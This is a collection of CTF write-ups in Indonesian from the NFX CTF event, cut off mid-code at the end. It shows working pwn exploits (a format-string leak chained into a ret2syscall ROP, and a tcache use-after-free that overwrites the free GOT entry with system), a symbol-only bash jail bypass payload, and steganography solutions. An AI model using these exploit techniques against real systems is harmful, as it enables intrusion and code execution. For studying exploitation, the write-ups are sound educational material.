- **Libc:** peserta/libc.so.6 — Ubuntu GLIBC 2.35-0ubuntu3.14
- **Loader:** peserta/ld-linux-x86-64.so.2
- **Remote:** nc s1.nfx.my.id 45543
- **Flag:** NFX{ex3cve_d3ni3d_but_0pen_r34d_writ3_s4v3d_th3_day}
- **Exploit:** exploit_narrowgate.py

Ringkasan

Ada dua bug yang saling melengkapi:

1. **Format string** di leaker() — printf(nickname) tanpa format tetap. Membocorkan canary, saved rbp, PIE base, dan libc base sekaligus.
2. **Integer truncation** di main() — validasi ukuran hanya melihat 16-bit bawah dari (size*64 - 1). Nilai size % 1024 == 1 lolos validasi, padahal read() tetap memakai size*64 byte → **stack buffer overflow**.

Seccomp mengizinkan open, read, write (bukan execve/mprotect), jadi solusinya ROP **ret2syscall**: open("flag.txt") → read → write.

Proteksi

```
PIE           : yes
Full RELRO    : yes (BIND_NOW)
NX            : yes (GNU_STACK RW)
Stack canary  : yes (fs:0x28)
Seccomp       : yes (BPF filter, default KILL)
CET           : tidak ada di binary
```

Tidak ada win(); flag harus dibaca lewat syscall.

Bug 1 — Format string di leaker()

```
leaker:
  sub  rsp, 0xb0
  ...
  lea  rax, [rbp-0xb0]
  mov  esi, 0xa0
  mov  rdi, rax
  call fgets              ; fgets(buf, 0xa0, stdin)  buf = rbp-0xb0
```

```
...
lea  rax, [rbp-0xb0]
mov  rdi, rax
call printf              ; printf(buf)  <-- format string bug
```

Buffer ada di rbp-0xb0. Saat printf(buf) dipanggil, argumen variadic pertama di stack berada tepat di rbp-0xb0 (= arg ke-6, karena rdi berisi format). Maka argumen %n$p memetakan ke offset buffer 8*(n-6):

Offset dari rbp	Isi	Arg
rbp-0xb0	awal buffer / arg-6	%6$p
rbp-0x8	**canary** (offset 0xa8)	%27$p
rbp+0x0	saved rbp (offset 0xb0)	%28$p
rbp+0x8	return address ke main+0x154b	%29$p

Selain stack, register sisa dari pemanggilan sebelumnya juga bisa dipakai:

Arg	Nilai	Arti
%3$p	libc + 0x1148c7	write+0x17 (leftover register, stabil)
%27$p	canary	low byte 0x00
%28$p	main saved rbp	alamat stack
%29$p	main + 0x154b	return address setelah call leaker

Payload leak (pendek, muat di fgets 0xa0):

```
p.sendline(b"%27$p|%3$p|%29$p|%28$p")
# contoh output:
# hello, 0x788120920cf58200|0x7f0f943968c7|0x7f0f944ae54b|0x7fff9e798510
canary = leak27
libc   = leak3  - 0x1148c7
pie    = leak29 - 0x154b
rbp    = leak28
```

> %3$p adalah alamat write+0x17 di libc — offset-nya konsisten di setiap run (offset ini juga kebetulan sama dengan yang muncul di binary/libc ini).

Bug 2 — Bypass validasi ukuran 16-bit

```
main:
  ...
  lea  rax, [rbp-0x5c]
  mov  edx, 4
  mov  rsi, rax
```

```
  mov  edi, 0
  call read                ; read(0, &size, 4)   size = [rbp-0x5c]
  mov  eax, [rbp-0x5c]
  shl  eax, 6              ; size * 64
  sub  eax, 1
  mov  [rbp-0x58], eax
  mov  eax, [rbp-0x58]
  cmp  ax, 0x3f            ; <-- hanya 16-bit bawah yang dicek
  jbe  ok
  puts("rejected")
  ...
ok:
  mov  eax, [rbp-0x5c]
  shl  eax, 6              ; count = size * 64  (FULL 32-bit)
  mov  [rbp-0x54], eax
  mov  edx, [rbp-0x54]
  lea  rax, [rbp-0x50]
  mov  rsi, rax
  mov  edi, 0
  call read                ; read(0, rbp-0x50, size*64)  <-- overflow
```

Validasi: ((size*64 - 1) & 0xffff) <= 0x3f.

Karena size*64 mod 0x10000 = (size mod 1024)*64, maka nilai yang dicek adalah 64*(size mod 1024) - 1. Nilai ini <= 0x3f hanya ketika size mod 1024 == 1:

- size = 1 → 63 → lolos (read 64 byte, aman)
- size = 1025 → 65599 & 0xffff = 63 → **lolos**, tetapi read memakai 1025*64 = 0x10040 byte → overflow besar.

Layout stack main (sub rsp,0x60):

```
buf (read target)   rbp-0x50
canary              rbp-0x8     -> offset 0x48 (72 byte dari buf)
saved rbp           rbp+0x0
return address      rbp+0x8
```

Jadi payload overflow:

```
payload = b"A"*0x48 + p64(canary) + p64(0) + ROP
```

Kirim p32(1025) + payload dalam satu send(); read pertama mengambil 4 byte ukuran, lalu read kedua mengambil payload yang sudah ada di socket.

Seccomp filter

Filter BPF (17 instruksi) dibangun di stack lalu dipasang dengan prctl(PR_SET_NO_NEW_PRIVS) + prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER). Isinya:

1. Cek arch == AUDIT_ARCH_X86_64, selain itu KILL_PROCESS.
2. Load nomor syscall, lalu allow-list:

Syscall	**Nomor**
read	0
write	1
open	2
close	3
fstat	5
lseek	8
brk	12
exit	60
exit_group	231
newfstatat	262
getrandom	318

Tidak ada openat, mmap, mprotect, execve. Karena open (2) dan read/write diizinkan, cukup ROP syscall langsung (tanpa libc wrapper, karena open() di glibc bisa jadi memakai openat yang diblokir).

Gadget libc 2.35 (offset)

```
pop rdi ; ret           = 0x2a3e5
pop rsi ; ret           = 0x2be51
pop rdx ; pop rbx ; ret  = 0x90469
pop rax ; ret           = 0x45eb0
syscall ; ret           = 0x912d6
```

ROP chain

```
close(3..10)                ; bebaskan fd rendah
open("flag.txt", O_RDONLY, 0); rax = 3
read(3, bss, 0x400)
write(1, bss, 0x400)
```

bss = pie + 0x4030 (writable, di halaman base+0x4000). String "flag.txt" ditaruh di akhir payload dan alamatnya dihitung dari rbp hasil leak: rbp - 0x50 + offset_payload.

Gotcha: fd 3 sudah terpakai di remote

Percobaan awal open() lalu read(3, ...) menghasilkan **0 byte** — proses menggantung di read(3) karena fd 3 pada service remote bukan fd hasil open, melainkan fd lain (socket/pipe) yang read-nya blocking. Solusinya: panggil close(3) s/d close(10) dulu (syscall close diizinkan), sehingga open()

berikutnya pasti mengembalikan fd terkecil bebas = 3. Ini membuat chain deterministik tanpa perlu gadget mov rdi, rax.

Exploit (ringkas)

```
from pwn import *

POP_RDI, POP_RSI = 0x2a3e5, 0x2be51
POP_RDX_RBX, POP_RAX, SYSCALL = 0x90469, 0x45eb0, 0x912d6
LIBC_LEAK_OFF, MAIN_RET_OFF = 0x1148c7, 0x154b

p = remote("s1.nfx.my.id", 45543)
p.recvuntil(b"name> ")
p.sendline(b"%27$p|%3$p|%29$p|%28$p")
vals = p.recvline().strip().split(b", ")[1].split(b"|")

canary = int(vals[0], 16)
libc   = int(vals[1], 16) - LIBC_LEAK_OFF
pie    = int(vals[2], 16) - MAIN_RET_OFF
rbp    = int(vals[3], 16)
bss    = pie + 0x4030

payload = b"A"*0x48 + p64(canary) + p64(0)

c = b""
for fd in range(3, 11):                    # bebaskan fd 3..10
    c += p64(libc+POP_RDI) + p64(fd)
    c += p64(libc+POP_RAX) + p64(3) + p64(libc+SYSCALL)
c += p64(libc+POP_RDI) + p64(0)              # path (di-patch)
path_slot = len(c) - 8
c += p64(libc+POP_RSI) + p64(0)
c += p64(libc+POP_RDX_RBX) + p64(0) + p64(0)
c += p64(libc+POP_RAX) + p64(2) + p64(libc+SYSCALL)   # open
c += p64(libc+POP_RDI) + p64(3)
c += p64(libc+POP_RSI) + p64(bss)
c += p64(libc+POP_RDX_RBX) + p64(0x400) + p64(0)
c += p64(libc+POP_RAX) + p64(0) + p64(libc+SYSCALL)   # read
c += p64(libc+POP_RDI) + p64(1)
c += p64(libc+POP_RSI) + p64(bss)
c += p64(libc+POP_RDX_RBX) + p64(0x400) + p64(0)
c += p64(libc+POP_RAX) + p64(1) + p64(libc+SYSCALL)   # write

path_addr = rbp - 0x50 + len(payload) + len(c)
c = bytearray(c); c[path_slot:path_slot+8] = p64(path_addr)
c = bytes(c) + b"flag.txt\x00"

p.recvuntil(b"blocks(4 bytes)> ")
p.send(p32(1025) + payload + c)              # 1025 % 1024 == 1
print(p.recvrepeat(3).split(b"\x00")[0].decode())
```

Output:

```
NFX{ex3cve_d3ni3d_but_0pen_r34d_writ3_s4v3d_th3_day}
```

Flag berada di flag.txt relatif working directory service.

Pelajaran

- **Format string** tanpa argumen memberi leak canary + PIE + libc sekaligus (indeks stack dihitung dari posisi buffer, bukan dari rsp+8).
- Validasi yang hanya memeriksa **register 16-bit** (ax) mudah di-bypass dengan nilai yang kongruen modulo 2^16.
- Seccomp allow-list menentukan strategi: open boleh, openat tidak → pakai syscall open langsung lewat gadget pop rax; syscall.
- Jangan asumsikan open() mengembalikan fd 3; di environment remote bisa saja fd rendah sudah terpakai. close() fd rendah dulu membuat chain deterministik.

The Forgotten State — Pwn (Hard)

- **Challenge:** The Forgotten State
- **Event:** NFX CTF
- **Category:** Pwn
- **File:** Pwn/TheForgottenState.zip (state, libc.so.6, ld-linux-x86-64.so.2)
- **Remote:** nc s1.nfx.my.id 48645
- **Flag:** NFX{ElC0nloe_Forg0tten_StaticcD42#}

Ringkasan

Binary state adalah layanan menu "NX STATE SERVICE" dengan 16 slot record. Setiap record terdiri dari **header 0x20 byte** dan **payload**:

```
struct record {
   char name[16];     // +0x00
   uint32_t size;     // +0x10
   uint32_t active;   // +0x14
   char *data;        // +0x18
};
```

op_release() membebaskan data lalu header, tetapi **tidak mengosongkan table[idx]**. op_view() dan op_edit() tidak memeriksa flag active, sehingga slot yang sudah dilepas masih bisa dibaca/ditulis → **use-after-free (UAF)**. op_edit() juga tidak memvalidasi panjang baru terhadap ukuran alokasi, sehingga header hasil forge dapat dipakai untuk **arbitrary read/write**.

Protections:

- Non-PIE (ET_EXEC), Partial RELRO → GOT writable
- NX, stack canary
- glibc 2.43 (disediakan di zip)

Analisis

Fungsi penting:

- op_create — cari slot table[i] == NULL, malloc(0x20) header, baca name (≤16), baca size (1..0x400), malloc(size) data, isi header, set active[i]=1.
- op_release — cek active[idx], free(header->data), free(header), active[idx]=0. **table[idx] tetap menunjuk chunk yang sudah dibebaskan.**
- op_view — header = table[idx]; tidak cek active; write(1, header->data, min(header->size, 0x400)).

- op_edit — header = table[idx]; tidak cek active; read_exact(header->data, new_len); set header->size = new_len.
- parse_index hanya memeriksa table[idx] != NULL, jadi index yang sudah di-release tetap diterima.

Alamat penting (non-PIE):

```
table       0x404080
active      0x404100
free@GOT    0x404000
BSS string  0x404140
```

Strategi UAF (tcache glibc 2.43)

Tujuan: membuat header lama H0 menjadi **data** dari record baru, lalu forge field header lewat edit record baru tersebut.

Urutan heap grooming:

1. create(0, size=0x20) → header H0, data D0 (chunk 0x30).
2. create(1, size=0x30) → header H1 (chunk 0x30), data D1 (chunk 0x40).
3. release(0) → tcache 0x30: [H0, D0].
4. release(1) → data D1 masuk bin 0x40; header H1 masuk tcache 0x30 paling atas: [H1, H0, D0].
5. create(2, size=0x20) → malloc(0x20) header mengambil H1; malloc(0x20) data mengambil H0.

Hasilnya:

```
table[2] = H1, H1->data = H0
table[0] = H0   (dangling, active[0] = 0)
```

Sekarang edit(2, 0x20 byte) menulis tepat ke H0, sehingga kita bisa forge header yang dipakai oleh view(0) / edit(0):

```
payload = b"/bin/sh\x00" + b"A"*7          # +0x00 name
payload += p32(size) + p32(1)             # +0x10 size, +0x14 active
payload += p64(ptr)                     # +0x18 data pointer
```

Dengan ptr = free@GOT dan size = 8, view(0) membocorkan alamat free di libc.

Exploit

Langkah lengkap:

1. Heap grooming seperti di atas; forge H0 dengan ptr = free@GOT, size = 8.
2. view(0) → leak free → hitung libc_base = free - 0xb5360, system = libc_base + 0x5c2e0.
3. Forge H0 dengan ptr = free@GOT; edit(0) menulis p64(system) ke GOT free.

4. Forge H0 dengan ptr = 0x404140; edit(0) menulis "/bin/sh\0" ke BSS.
5. Forge H0 dengan ptr = 0x404100 (active), size = 4; edit(0) menulis p32(1) → active[0] = 1.
6. Forge ulang H0 dengan ptr = 0x404140 (string /bin/sh).
7. release(0) → free(table[0]->data) = free(0x404140); karena free@GOT sudah berisi system, ini menjadi system("/bin/sh").

Shell didapat sebagai user ctf; flag berada di /app/flag.txt.

Kode inti

```
FREE_GOT=0x404000; ACTIVE=0x404100; BSS_STR=0x404140; C=2

def forge(t,size,ptr,name=b'LEAK\x00'+b'A'*11):
    payload=name+p32(size)+p32(1)+p64(ptr)
    edit(t,C,payload)

create(t,b'A'*8,0x20,b'A'*0x20)   # index 0
create(t,b'E'*8,0x30,b'E'*0x30)   # index 1
release(t,0); release(t,1)
create(t,b'C'*8,0x20,b'C'*0x20)   # index 2, data = H0

forge(t,8,FREE_GOT)
free_leak=unpack('<Q',view(t,0,8))[0]
libc_base=free_leak-0xb5360
system=libc_base+0x5c2e0

forge(t,8,FREE_GOT); edit(t,0,p64(system))
forge(t,8,BSS_STR);  edit(t,0,b'/bin/sh\x00')
forge(t,4,ACTIVE);   edit(t,0,p32(1))
forge(t,8,BSS_STR,name=b'/bin/sh\x00'+b'B'*8)

t.sendline(b'2'); t.recvuntil(b'index : '); t.sendline(b'0')
# shell -> cat /app/flag.txt
```

Script lengkap ada di Pwn/exploit_forgotten.py.

Flag

```
NFX{ElC0nloe_Forg0tten_StaticcD42#}
```

Root Cause

1. release membebaskan objek tetapi tidak menghapus referensi di table[idx] (dangling pointer).
2. view/edit tidak memvalidasi active[idx], sehingga objek yang sudah mati tetap dipakai.
3. edit tidak membandingkan new_len dengan ukuran alokasi asli data, sehingga header forge dapat dipakai untuk menulis ke alamat arbitrer.

Pelajaran

Hint "object lifetime", "remembers something that no longer exists", dan "bug may not appear in a single request" mengarah langsung ke UAF. Kunci eksploitasi adalah **heap grooming tcache**: membuat header yang sudah dibebaskan dipakai sebagai data record baru, lalu forge pointer data untuk mendapatkan arbitrary read/write. GOT free → system plus string /bin/sh di BSS memberi shell tanpa perlu heap leak.

MISC

Symhell — Misc & Logic (Medium)

- **Challenge:** Symhell
- **Event:** NFX CTF
- **Category:** Misc & Logic
- **Vektor:** Bash jail / filter bypass → string synthesis dengan parameter expansion + printf octal escape
- **Target:** nc s1.nfx.my.id 47644
- **Flag:** NFX{5ymH3ll_RUnT1m3_3v4l_53cr3t_PwN!}

Ringkasan

Server menjalankan input user lewat bash -c setelah memfilter **huruf, angka, ?, *, #, dan herestring** <<<. Semua karakter yang kita kirim harus berupa simbol murni.

Triknya: walaupun input tidak boleh berisi huruf/angka, **hasil ekspansi** bash tetap boleh. Kita memanfaatkan parameter spesial ($_, $~, $$) untuk mendapatkan string yang mengandung huruf, memotongnya dengan ${var:offset:length}, lalu membangun perintah printf dan merakit perintah berbahaya memakai **octal escape**.

1. Analisis Filter

Bagian penting dari app.py:

```
if re.search(r"[a-zA-Z0-9?*#]|\<{3}", line):
    conn.sendall(DENIED_MSG.encode())
    continue
...
res = subprocess.run(line, shell=True, executable=exec_path, ...)
```

Karakter yang diblokir:

Diblokir	**Keterangan**
a-z, A-Z	semua huruf
0-9	semua angka
?, *, #	wildcard + hash
<<<	herestring

Yang **tidak** diblokir dan sangat berguna: $, {, }, (,), :, ;, !, ~, /, \, _, &, |, <, > (heredoc << diizinkan).

Catatan penting: karena ? diblokir, kita **tidak bisa memakai $?** untuk mengambil exit status. Digit literal juga tidak bisa ditulis.

2. Rekon Struktur Shell

Karena setiap baris dieksekusi sebagai command, pesan error "command not found" bisa dipakai untuk membocorkan hasil ekspansi. Cukup tempel ekspansi sebagai nama command:

```
${_}-
```

Output:

```
/usr/bin/bash: line 1: /usr/bin/bash-: No such file or directory
```

Dengan cara yang sama:

Input	Hasil	Nilai
${_}-	/usr/bin/bash-	$_ = /usr/bin/bash
__=~;${__}-	/home/ctf-	~ = /home/ctf
__=~+;${__}-	/app-	~+ = /app
$-	hBc: command not found	$- = hBc

Jadi kita punya tiga "kamus" karakter:

```
A = $_  = /usr/bin/bash   -> / u s r b i n a h
B = ~+  = /app            -> / a p
C = ~   = /home/ctf       -> / h o m e c t f
```

Dari sini huruf yang tersedia antara lain: a b c e f h i m n o p r s t u. Cukup untuk membentuk kata **printf**.

3. Membangun Angka Tanpa Digit

Filter memblokir 0-9, tetapi arithmetic expansion boleh memakai variabel. Karena ? diblokir, $? tidak bisa dipakai. Alternatifnya: $$ selalu berisi PID (bilangan bulat bukan nol), sehingga:

```
_____=$((!!$$))     # !PID = 0, !0 = 1  -> 1
______=$((_____+_____))   # 2
_______=$((______+______)) # 4
________=$((_______+_______)) # 8
# dst: 16, 32, 64, 128
```

Semua nama variabel dibuat dari _ saja (identifier valid), sehingga lolos filter.

4. Membangun printf dari Slice

Offset diambil dari string yang sudah didapat, memakai ${var:offset:length} (offset berupa ekspresi aritmetika dari variabel _):

```
__=$_       # A = /usr/bin/bash
___=~+      # B = /app
____=~      # C = /home/ctf
```

printf = p r i n t f:

Huruf	**Sumber**	**Slice**
p	/app index 2	${___:2:1}
r	/usr/bin/bash index 3	${__:3:1}
i	/usr/bin/bash index 6	${__:6:1}
n	/usr/bin/bash index 7	${__:7:1}
t	/home/ctf index 7	${____:7:1}
f	/home/ctf index 8	${____:8:1}

Hasilnya variabel _____ berisi string printf.

5. Merakit String dengan Octal Escape

printf bisa mencetak karakter dari octal escape, misalnya \143 = c. Yang dibutuhkan hanyalah backslash literal + digit angka. Di payload, \\ akan menjadi satu backslash, lalu $((...)) menghasilkan digit desimal yang kebetulan sama dengan angka octal-nya:

```
printf \\143\\141\\164     # -> cat
```

Karena seluruh angka dibangun dari penjumlahan pangkat dua (1,2,4,8,...,128), tidak ada digit literal di input.

Bahkan tidak perlu cat: seluruh string perintah (cat /flag.txt) dicetak oleh printf, lalu hasil **command substitution** di-*word split* dan di-*glob* oleh bash, kemudian dieksekusi:

```
$(${_____} \\$((...))\\$((...))...)
```

6. Enumerasi Direktori

Command pertama yang dijalankan adalah echo /* (dirakit lewat escapes). Outputnya:

```
/app /bin /boot /dev /etc /flag.txt /home /lib /lib64 /media /mnt /opt /proc /root /run /sbin /srv /sys /tmp /usr /var
```

Flag berada di **/flag.txt**.

7. Membaca Flag

Perintah cat /flag.txt dirakit dengan cara yang sama, lalu dikirim ke instance:

```
NFX{5ymH3ll_RUnT1m3_3v4l_53cr3t_PwN!}
```

Payload Final

Semua karakter di bawah ini lolos filter (re.search(r"[a-zA-Z0-9?*#]|\<{3}", payload) = None):

```
__=$_;___=~+;____=~;_____=$((!!$$));______=$((_____+_____));_______=$((______+______));__
_____=$((_______+_______));_________=$((________+________));__________=$((_________+_
________));___________=$((__________+__________));____________=$((___________+________
___));_____________=${___:_____+______:_____}${__:_____+______:_____}${__:______+_____
__:_____}${__:_____+______+_______:_____}${____:_____:_____}${____:_____+______+_____
__+________:_____};$(${_____________}
\\$((_____+______+_______+________+_____________))\\$((_____+_______+________+________
____))\\$((_______+___________+_____________))\\$((________+___________))\\$((______+_______
__+_____________))\\$((______+________+_________+_____________))\\$((_____+_______+_____
___+_____________))\\$((_____+______+_________+_____________))\\$((________+_________+__
________))\\$((_______+__________+_____________))\\$((______+________+__________+______
_____))\\$((_______+__________+_____________)))
```

Penjelasan singkat isi payload:

1. __=$_, ___=~+, ____=~ — simpan string sumber.
2. _____=$((!!$$)) — dapatkan angka 1, lalu digandakan menjadi 2,4,8,...,128.
3. _____________=... — rakit kata printf dari slice.
4. $(${_____________} ...) — jalankan printf dengan octal escape yang membentuk cat /flag.txt, lalu eksekusi hasilnya.

Pelajaran

- Filter yang memblokir huruf/angka **tidak** memblokir hasil ekspansi bash — selalu cek $, ${...}, $((...)), dan command substitution.
- $? bisa diblokir lewat karakter ?; gunakan $$ (PID) + ! untuk menghasilkan angka tanpa digit.
- ${var:offset:length} memungkinkan "mencuri" huruf dari path/variabel yang sudah ada ($_, ~, ~+).
- printf adalah "compiler" karakter: octal escape-nya bisa merakit command apa pun dari simbol.
- Pesan error (command not found) adalah oracle yang berguna untuk membaca nilai ekspansi saat output normal tidak tersedia.

Heker Tersenyum Art Evidence Secret — Misc & Logic (Medium)

- **Kategori:** Forensic (Steganografi)
- **Level:** Medium
- **Format flag:** NFX{...}
- **Flag:** NFX{LSB_3ASY_OR_H4RD_IDK}

Deskripsi

> Dia tampak senyum, namun dia menyembunyikan sesuatu dibalik gambar itu. Dia anggota heker dari tim Lampung Siber Brotherhood (LSB). Ada secret yang tidak bisa dia beritahu ke siapapun. Pakaian dia memakai baju berwarna merah dan celana berwarna biru. Perhatikan nama tim dia dan pakaian dia.

File yang diberikan: sebuah gambar PNG berukuran 1495 x 2424 piksel (tampilannya berupa seni ASCII).

Analisis Petunjuk

Petunjuk	**Arti**
Tim "Lampung Siber Brotherhood (**LSB**)"	Teknik **Least Significant Bit** steganografi
Baju **merah**	Channel **R** (Red)
Celana **biru**	Channel **B** (Blue)
"Secret yang tidak bisa dia beritahu"	Ada pesan rahasia yang terenkripsi

Kesimpulan awal: data disembunyikan di bit paling rendah (LSB) pada channel merah dan biru.

Langkah Penyelesaian

1. Cek struktur file dan metadata PNG

Dengan mem-parsing chunk PNG, ditemukan dua chunk tEXt dan tidak ada data tambahan setelah IEND:

```
tEXt  Comment       = The smallest details matter.
tEXt  PhotoLocation  = Jakarta Selatan, 1330, RW 20, RT 10, S3VrdXJpdWs5OQ==
```

Bagian terakhir dari PhotoLocation terlihat seperti base64:

```
$ echo 'S3VrdXJpdWs5OQ==' | base64 -d
Kukuriuk99
```

Kukuriuk99 disimpan sebagai kandidat password.

2. Ekstraksi LSB per channel

Gambar ternyata grayscale (nilai R = G = B), tetapi LSB channel R dan B dimodifikasi. Bit dibaca row-major, MSB-first, dari LSB masing-masing channel.

Hasilnya:

- **Channel R:** diawali magic CTF1, lalu panjang 4 byte (big-endian) = 108, lalu 108 byte data.
- **Channel B:** diawali magic CTF1, lalu panjang 4 byte = 53, lalu 53 byte data.
- **Channel G:** tidak berisi data (LSB seluruhnya 1).

Format kontainernya: "CTF1" || panjang(4 byte) || payload.

Kedua payload memiliki entropi tinggi (acak), jadi keduanya terenkripsi.

3. Menebak skema enkripsi

Panjang payload tidak kelipatan 16, sehingga bukan AES-CBC/ECB. Panjangnya cocok dengan pola AES-GCM:

- Payload B: 12 (nonce) + 25 (ciphertext) + 16 (tag) = 53
- Payload R: 16 (salt) + 12 (nonce) + 64 (ciphertext) + 16 (tag) = 108

4. Dekripsi payload merah (R)

Dengan password Kukuriuk99, kombinasi yang berhasil adalah:

- Layout: salt (16 byte) || nonce (12 byte) || ciphertext+tag
- KDF: PBKDF2-HMAC-SHA256, 200000 iterasi, panjang kunci 32 byte, salt dari 16 byte pertama
- Cipher: AES-256-GCM

Hasil dekripsi adalah string hex 64 karakter:

```
3cb7804019e6c5247aef85e1ca5362575097b9955ae8d1fdda34128fdf3d32bd
```

5. Dekripsi payload biru (B)

String hex tersebut (32 byte setelah di-decode) dipakai langsung sebagai kunci AES-256-GCM untuk payload biru dengan layout nonce (12 byte) || ciphertext+tag.

Tag GCM valid, dan plaintext-nya adalah flag:

```
NFX{LSB_3ASY_OR_H4RD_IDK}
```

Script Solver

```
import struct
from PIL import Image
```

```
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes

PASSWORD = b"Kukuriuk99"  # dari base64 di metadata PhotoLocation

px = Image.open("image.png").convert("RGB").tobytes()

def extract_lsb(channel):
    bits = [(px[i + channel] & 1) for i in range(0, len(px), 3)]
    out = bytearray()
    for i in range(0, len(bits) - 7, 8):
        v = 0
        for b in bits[i:i + 8]:
            v = (v << 1) | b
        out.append(v)
    data = bytes(out)
    assert data[:4] == b"CTF1"
    length = struct.unpack(">I", data[4:8])[0]
    return data[8:8 + length]

red = extract_lsb(0)    # baju merah
blue = extract_lsb(2)   # celana biru

# Payload merah: salt(16) | nonce(12) | ciphertext+tag
salt, nonce, ct = red[:16], red[16:28], red[28:]
key = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32,
                 salt=salt, iterations=200000).derive(PASSWORD)
hex_key = AESGCM(key).decrypt(nonce, ct, None)
print("hex key:", hex_key.decode())

# Payload biru: nonce(12) | ciphertext+tag
flag = AESGCM(bytes.fromhex(hex_key.decode())).decrypt(blue[:12], blue[12:], None)
print("flag:", flag.decode())
```

Ringkasan Alur

```
PNG
 |- metadata PhotoLocation --base64--> password "Kukuriuk99"
 |- LSB channel R --> blob 108 byte --PBKDF2(200k)+AES-GCM--> kunci hex 64 karakter
 '- LSB channel B --> blob 53 byte  --AES-GCM(kunci hex)---> FLAG
```

Flag

```
NFX{LSB_3ASY_OR_H4RD_IDK}
```

Catatan

- Metadata PNG (tEXt) sering menyimpan petunjuk atau password, jadi selalu diperiksa lebih dulu.
- Petunjuk soal (nama tim dan warna pakaian) langsung menunjuk ke teknik dan channel yang dipakai.
- Kalau payload tidak kelipatan 16 byte, curigai mode stream atau AEAD seperti AES-GCM, bukan AES-CBC.

Wujud Aseli Atmin — Misc & Logic (Medium)

Kategori	Misc
Level	Medium
File	dokumentasi.png
Format flag	NFX{} atau NFCTF{}
Flag	NFX{NFCC_Goes_to_NCSC_2026}

Deskripsi

> Foto dokumentasi dari event Oktober kemarin. Boleh dilihat, tapi jangan berhenti di situ doang!

Petunjuk utamanya ada di kalimat "jangan berhenti di situ doang": gambar yang terlihat hanyalah lapisan pertama, ada data lain yang disembunyikan di dalamnya.

Ringkasan Solusi

```
dokumentasi.png
  └─ data ZIP ditempel setelah chunk IEND
      ├─ catatan.txt        (umpan)
      └─ scan_07.dat        (PNG dengan signature di-nol-kan)
          └─ perbaiki header -> scan_07.png
              └─ LSB kanal R, bit 0 -> string base64
                  └─ decode base64 -> FLAG
```

Langkah Pengerjaan

1. Analisis awal

Foto menampilkan peserta event *National Cybersecurity Connect 2026*. Tidak ada teks flag yang terlihat, jadi lanjut ke analisis file.

```
file dokumentasi.png
# PNG image data, 1280 x 960, 8-bit/color RGB, non-interlaced
```

Ukuran file sekitar 1,3 MB.

2. Cek struktur chunk PNG dan trailing data

Parse chunk PNG secara manual untuk melihat apakah ada data setelah IEND.

```
import struct
d = open('dokumentasi.png', 'rb').read()
p = 8
while p < len(d):
```

```
    l, = struct.unpack('>I', d[p:p+4])
    t = d[p+4:p+8]
    print(t, l)
    p += 12 + l
    if t == b'IEND':
        break
print("trailing bytes:", len(d) - p, d[p:p+4])
```

Hasilnya: struktur chunk normal (IHDR, banyak IDAT, IEND), tetapi masih ada **4100 byte** setelah IEND yang diawali PK\x03\x04. Itu adalah **signature ZIP**. Perintah strings juga memperlihatkan nama file catatan.txt dan scan_07.dat.

3. Ekstrak ZIP tersembunyi

```
d = open('dokumentasi.png', 'rb').read()
i = d.index(b'IEND') + 8      # 4 byte nama chunk + 4 byte CRC
open('hidden.zip', 'wb').write(d[i:])

unzip hidden.zip
```

Isinya dua file:

- catatan.txt: berisi "Arsip internal. Tidak ada apa-apa di sini." Ini umpan.
- scan_07.dat: file hanya menyebutnya data.

4. Perbaiki header scan_07.dat

```
xxd scan_07.dat | head -2
# 0000 0000 0000 0000 0000 000d 4948 4452  ............IHDR
```

Ada chunk IHDR tetapi 8 byte pertama (signature PNG) bernilai 00. Signature PNG yang benar adalah 89 50 4E 47 0D 0A 1A 0A, jadi tinggal ditimpa.

```
d = bytearray(open('scan_07.dat', 'rb').read())
d[:8] = bytes.fromhex('89504e470d0a1a0a')
open('scan_07.png', 'wb').write(d)
```

Gambar sekarang bisa dibuka: gradasi warna 400x300 dengan tulisan **"SCAN 07"**. Tidak ada flag yang terlihat, dan gradasi mulus seperti ini sering dipakai sebagai *cover* untuk LSB steganography.

5. LSB steganography

Ekstrak bit paling rendah dari tiap kanal warna dengan berbagai kombinasi (kanal, bit ke-0 sampai 2, urutan baris/kolom, bit order), lalu cari string yang dapat dibaca.

```
from PIL import Image
import numpy as np

im = np.array(Image.open('scan_07.png').convert('RGB'))
```

```
bits = (im[:, :, 0] & 1).reshape(-1)          # kanal R, bit 0, row-major
data = np.packbits(bits.reshape(-1, 8), axis=1).tobytes()  # MSB-first
print(data[:60])
```

Kombinasi **kanal R, bit 0, row-major, MSB-first** menghasilkan string:

```
TkZYe05GQ0NfR29lc190b19OQ1NDXzIwMjZ9
```

Kombinasi lain hanya menghasilkan noise atau pola berulang.

6. Decode base64

```
echo 'TkZYe05GQ0NfR29lc190b19OQ1NDXzIwMjZ9' | base64 -d

NFX{NFCC_Goes_to_NCSC_2026}
```

Flag

```
NFX{NFCC_Goes_to_NCSC_2026}
```

Pelajaran

- Selalu cek **data setelah chunk IEND** pada PNG (dan setelah EOI pada JPG). Tools: binwalk, foremost, atau parsing manual.
- Jika file hanya menyebut data, cek **magic bytes** dengan xxd. Header bisa saja sengaja dirusak.
- Hasil strings dan nama file di dalam arsip sering memberi petunjuk awal.
- Untuk gambar dengan pola mulus, coba **LSB extraction** dengan berbagai kombinasi kanal, bit, dan urutan. Alternatif: zsteg dan Stegsolve.
- Output yang tampak seperti base64 (huruf, angka, panjang kelipatan 4) layak langsung di-decode.

Tools yang Digunakan

- Python 3 (struct, Pillow, numpy)
- xxd, strings, unzip, base64

The Alchemist's Sandbox — Misc & Logic (Medium)

- **Challenge:** The Alchemist's Sandbox
- **Event:** NFX CTF
- **Category:** Misc & Logic
- **File:** Misc-&-Logic/The-Alchemists-Sandbox/chall.py
- **Solver:** Misc-&-Logic/The-Alchemists-Sandbox/solve.py
- **Flag:** NFXCTF{pyj41l_4st_4lch3my_vm_pwn_d84f216a}

Ringkasan

chall.py berisi dua komponen:

1. **Sandbox/pyjail** (verify_ast + run_sandbox) yang hanya mengizinkan ekspresi Python terbatas.
2. **Custom cipher** _encrypt_vault(flag_bytes) yang mengenkripsi flag 42 byte menjadi 21 word 16-bit, disimpan di _VAULT_STATE.

Karena _VAULT_STATE ada langsung di source, flag tidak perlu diambil dari sandbox. Cukup **membalik custom cipher** untuk mendapatkan plaintext 42 byte.

Custom Cipher

```
def _rol16(v, s):
    return ((v << s) & 0xFFFF) | (v >> (16 - s))

def _encrypt_vault(flag_bytes):
